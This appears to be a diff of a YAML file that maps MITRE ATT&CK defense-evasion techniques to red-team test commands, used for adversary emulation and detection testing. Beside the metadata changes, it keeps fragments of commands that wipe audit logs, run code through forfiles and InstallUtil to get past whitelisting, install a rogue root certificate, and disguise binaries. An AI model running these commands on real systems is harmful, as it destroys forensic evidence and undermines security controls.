Trustwave, SpiderLabs x_mitre_data_sources: - File monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters + - API monitoring + - Windows event logs x_mitre_defense_bypassed: - - Anti-virus - Log analysis - Host intrusion prevention systems - id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69 - modified: '2018-04-18T17:59:24.739Z' + - Anti-virus + x_mitre_detection: 'File system monitoring may be used to detect improper deletion + or modification of indicator files. For example, deleting Windows event logs + (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions + (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) + (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event + ID 1102: "The audit log was cleared"). Events not stored on the file system + may require different detection mechanisms.' + x_mitre_platforms: + - Linux + - macOS + - Windows + x_mitre_system_requirements: + - Clearing the Windows event logs requires Administrator permissions type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:55.892Z' identifier: T1070 atomic_tests: - name: Clear Logs @@ -5476,63 +5650,56 @@ defense-evasion: rm -rf /private/var/audit/* T1202: technique: + id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Indirect Command Execution description: |- - Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) - - Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd. - - Detection: Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands and/or spawning child processes. (Citation: RSA Forfiles Aug 2017) - - Platforms: Windows + Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017) - Data Sources: Process Monitoring, Process command-line parameters, Windows event logs - - Defense Bypassed: Application whitelisting, Process whitelisting, Whitelisting by file name or path - - Permissions Required: User - - Contributors: Matthew Demaske, Adaptforward - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106). external_references: - - url: https://attack.mitre.org/wiki/Technique/T1202 + - external_id: T1202 + url: https://attack.mitre.org/techniques/T1202 source_name: mitre-attack - external_id: T1202 - - description: vector_sec. (2017, August 11). Defenders watching launches of + - url: https://twitter.com/vector_sec/status/896049052642533376 + description: vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018. source_name: VectorSec ForFiles Aug 2017 - url: https://twitter.com/vector%20sec/status/896049052642533376 - - description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved + - url: https://twitter.com/Evi1cg/status/935027922397573120 + description: Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018. source_name: Evi1cg Forfiles Nov 2017 - url: https://twitter.com/Evi1cg/status/935027922397573120 - - description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe + - url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe + description: Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018. source_name: RSA Forfiles Aug 2017 - url: https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Matthew Demaske, Adaptforward x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Process command-line parameters - Windows event logs x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting - Whitelisting by file name or path + x_mitre_detection: 'Monitor and analyze logs from host-based detection mechanisms, + such as Sysmon, for events such as process creations that include or are resulting + from parameters associated with invoking programs/commands and/or spawning + child processes. (Citation: RSA Forfiles Aug 2017)' x_mitre_permissions_required: - User - x_mitre_contributors: - - Matthew Demaske, Adaptforward - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1202 atomic_tests: - name: Indirect Command Execution - pcalua.exe @@ -5582,6 +5749,8 @@ defense-evasion: forfiles /p c:\windows\system32 /m notepad.exe /c "c:\folder\normal.dll:evil.exe" T1130: technique: + id: attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Install Root Certificate description: |- Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. @@ -5593,87 +5762,77 @@ defense-evasion: Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017) In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018) - - Detection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) - - Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) - *18F7C1FCC3090203FD5BAA2F861A754976C8DD25 - *245C97DF7514E7CF2DF8BE72AE957B9E04741E85 - *3B1EFD3A66EA28B16697394703A72CA340A05BD5 - *7F88CD7223F3C813818C994614A89C99FA3B5247 - *8F43288AD272F3103B6FB1428485EA3014C0BCFE - *A43489159A520F0D93D032CCAF37E7FE20A8B419 - *BE36A4562FB2EE05DBB3D32323ADF445084ED656 - *CDD4EEAE6000AC7F40C3802C171E30148030C072 - - Platforms: Linux, Windows, macOS - - Data Sources: SSL/TLS inspection, Digital Certificate Logs - - Defense Bypassed: Digital Certificate Validation - - Permissions Required: Administrator, User - - Contributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion external_references: - - url: https://attack.mitre.org/wiki/Technique/T1130 + - external_id: T1130 + url: https://attack.mitre.org/techniques/T1130 source_name: mitre-attack - external_id: T1130 - - description: Wikipedia. (2016, December 6). Root certificate. Retrieved February + - url: https://en.wikipedia.org/wiki/Root_certificate + description: Wikipedia. (2016, December 6). Root certificate. Retrieved February 20, 2017. source_name: Wikipedia Root Certificate - url: https://en.wikipedia.org/wiki/Root%20certificate - - description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding + - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf + description: Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016. source_name: Operation Emmental - url: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf - - description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on + - url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ + description: 'Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.' source_name: Kaspersky Superfish - url: https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/ - - description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. + - url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ + description: 'Smith, T. (2016, October 27). AppUNBlocker: Bypassing AppLocker. Retrieved December 19, 2017.' source_name: Tripwire AppUNBlocker - url: https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/ - - description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning - Attacks and Defenses. Retrieved April 3, 2018. - source_name: SpectorOps Code Signing Dec 2017 - url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec - - description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March + - url: https://objective-see.com/blog/blog_0x26.html + description: Patrick Wardle. (2018, January 11). Ay MaMi. Retrieved March 19, 2018. source_name: objective-see ay mami 2018 - url: https://objective-see.com/blog/blog%200x26.html - - description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April + - url: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec + description: Graeber, M. (2017, December 22). Code Signing Certificate Cloning + Attacks and Defenses. Retrieved April 3, 2018. + source_name: SpectorOps Code Signing Dec 2017 + - url: https://docs.microsoft.com/sysinternals/downloads/sigcheck + description: Russinovich, M. et al.. (2017, May 22). Sigcheck. Retrieved April 3, 2018. source_name: Microsoft Sigcheck May 2017 - url: https://docs.microsoft.com/sysinternals/downloads/sigcheck object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:42.750Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' + x_mitre_contributors: + - Itzik Kotler, SafeBreach + - Travis Smith, Tripwire + - Red Canary + - Matt Graeber, @mattifestation, SpecterOps x_mitre_data_sources: - SSL/TLS inspection - - Digital Certificate Logs + - Digital certificate logs x_mitre_defense_bypassed: - Digital Certificate Validation + x_mitre_detection: |- + A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017) + + Installed root certificates are located in the Registry under HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\ and [HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker) + + * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 + * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 + * 3B1EFD3A66EA28B16697394703A72CA340A05BD5 + * 7F88CD7223F3C813818C994614A89C99FA3B5247 + * 8F43288AD272F3103B6FB1428485EA3014C0BCFE + * A43489159A520F0D93D032CCAF37E7FE20A8B419 + * BE36A4562FB2EE05DBB3D32323ADF445084ED656 + * CDD4EEAE6000AC7F40C3802C171E30148030C072 + x_mitre_platforms: + - Linux + - Windows + - macOS x_mitre_permissions_required: - Administrator - User - x_mitre_contributors: - - Itzik Kotler, SafeBreach - - Travis Smith, Tripwire - - Red Canary - - Matt Graeber, @mattifestation, SpecterOps - id: attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-05-31T21:31:42.750Z' identifier: T1130 atomic_tests: - name: Install root CA on CentOS/RHEL @@ -5706,62 +5865,55 @@ defense-evasion: fi T1118: technique: + id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: InstallUtil description: |- InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - - Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters - - Defense Bypassed: Process whitelisting - - Permissions Required: User - - Remote Support: No - - Contributors: Casey Smith, Travis Smith, Tripwire - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1118 + - external_id: T1118 + url: https://attack.mitre.org/techniques/T1118 source_name: mitre-attack - external_id: T1118 - - description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved + - url: https://msdn.microsoft.com/en-us/library/50614e95.aspx + description: Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016. source_name: MSDN InstallUtil - url: https://msdn.microsoft.com/en-us/library/50614e95.aspx - description: "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." source_name: SubTee GitHub All The Things Application Whitelisting Bypass object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:27.510Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters + x_mitre_contributors: + - Casey Smith + - Travis Smith, Tripwire x_mitre_defense_bypassed: - Process whitelisting + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior + history of known good arguments and executed binaries to determine anomalous + and potentially adversarial activity. Command arguments used before and after + the InstallUtil.exe invocation may also be useful in determining the origin + and purpose of the binary being executed. x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Casey Smith - - Travis Smith, Tripwire - id: attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:27.510Z' identifier: T1118 atomic_tests: - name: InstallUtil uninstall method call @@ -5782,6 +5934,8 @@ defense-evasion: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U #{filename} T1152: technique: + id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Launchctl description: "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs @@ -5793,40 +5947,27 @@ defense-evasion: \"arg\" \"arg\" \"arg\"
. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl - is an allowed process.\n\nDetection: Knock Knock can be used to detect persistent - programs such as those installed via launchctl as launch agents or launch - daemons. Additionally, every launch agent or launch daemon must have a corresponding - plist file on disk somewhere which can be monitored. Monitor process execution - from launchctl/launchd for unusual or unknown processes.\n\nPlatforms: macOS\n\nData - Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense - Bypassed: Application whitelisting, Process whitelisting, Whitelisting by - file name or path\n\nPermissions Required: User, Administrator\n\nRemote Support: - No" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: persistence + is an allowed process." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1152 + - external_id: T1152 + url: https://attack.mitre.org/techniques/T1152 source_name: mitre-attack - external_id: T1152 - - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. source_name: Sofacy Komplex Trojan - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: Knock Knock can be used to detect persistent programs such + as those installed via launchctl as launch agents or launch daemons. Additionally, + every launch agent or launch daemon must have a corresponding plist file on + disk somewhere which can be monitored. Monitor process execution from launchctl/launchd + for unusual or unknown processes. x_mitre_defense_bypassed: - Application whitelisting - Process whitelisting @@ -5834,10 +5975,19 @@ defense-evasion: x_mitre_permissions_required: - User - Administrator + x_mitre_platforms: + - macOS x_mitre_remote_support: false - id: attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1152 atomic_tests: - name: Launchctl @@ -5853,82 +6003,75 @@ defense-evasion: ' T1036: technique: + id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Masquerading description: |- - Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. + Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. - One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate. + One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate. - ===Windows=== + ### Windows In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) - An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe". + An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe". - ===Linux=== - Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) - - An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis) - - Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. - - If file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) + ### Linux + Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) - Platforms: Linux, macOS, Windows - - Data Sources: File monitoring, Process monitoring, Binary file metadata - - Defense Bypassed: Whitelisting by file name or path - - Contributors: ENDGAME, Bartosz Jerzman - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1036 + - external_id: T1036 + url: https://attack.mitre.org/techniques/T1036 source_name: mitre-attack - external_id: T1036 - - description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. + - url: https://www.endgame.com/blog/how-hunt-masquerade-ball + description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.' source_name: Endgame Masquerade Ball - url: https://www.endgame.com/blog/how-hunt-masquerade-ball - - description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. + - url: https://www.f-secure.com/documents/996508/1030745/CozyDuke + description: 'F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.' source_name: F-Secure CozyDuke - url: https://www.f-secure.com/documents/996508/1030745/CozyDuke - - description: Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet + - url: https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/ + description: Michal Malik AND Marc-Etienne M.Léveillé. (2016, March 30). Meet Remaiten – a Linux bot on steroids targeting routers and potentially other IoT devices. Retrieved September 7, 2017. source_name: Remaiten - url: https://www.welivesecurity.com/2016/03/30/meet-remaiten-a-linux-bot-on-steroids-targeting-routers-and-potentially-other-iot-devices/ - - description: 'Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: + - url: https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ + description: 'Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy’s Linux Backdoor. Retrieved September 10, 2017.' source_name: Fysbis Palo Alto Analysis - url: https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/ - - description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved + - url: https://vms.drweb.com/virus/?i=4276269 + description: Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017. source_name: Fysbis Dr Web Analysis - url: https://vms.drweb.com/virus/?i=4276269 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:38.511Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - ENDGAME + - Bartosz Jerzman x_mitre_data_sources: - File monitoring - Process monitoring - Binary file metadata x_mitre_defense_bypassed: - Whitelisting by file name or path - x_mitre_contributors: - - ENDGAME - - Bartosz Jerzman - id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_detection: |- + Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. + + If file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:38.511Z' identifier: T1036 atomic_tests: - name: Masquerading as Windows LSASS process @@ -5957,64 +6100,81 @@ defense-evasion: /tmp/crond T1112: technique: + id: attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Modify Registry description: |- Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution. - Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples). - - The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication. - - Detection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. - - Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis. - - Platforms: Windows - - Data Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters + Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples). - Defense Bypassed: Host forensic analysis + Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reg)hide NOV 2006 Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) - Permissions Required: User, Administrator, SYSTEM - - Contributors: Bartosz Jerzman, Travis Smith, Tripwire - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1112 + - external_id: T1112 + url: https://attack.mitre.org/techniques/T1112 source_name: mitre-attack - external_id: T1112 - - description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. + - url: https://technet.microsoft.com/en-us/library/cc732643.aspx + description: Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015. source_name: Microsoft Reg - url: https://technet.microsoft.com/en-us/library/cc732643.aspx - - description: Microsoft. (n.d.). Enable the Remote Registry Service. Retrieved + - url: https://docs.microsoft.com/sysinternals/downloads/reghide + description: Russinovich, M. & Sharkey, K. (2006, January 10). Reghide. Retrieved + August 9, 2018. + source_name: Microsoft Reghide NOV 2006 + - url: https://docs.microsoft.com/en-us/sysinternals/downloads/regdelnull + description: Russinovich, M. & Sharkey, K. (2016, July 4). RegDelNull 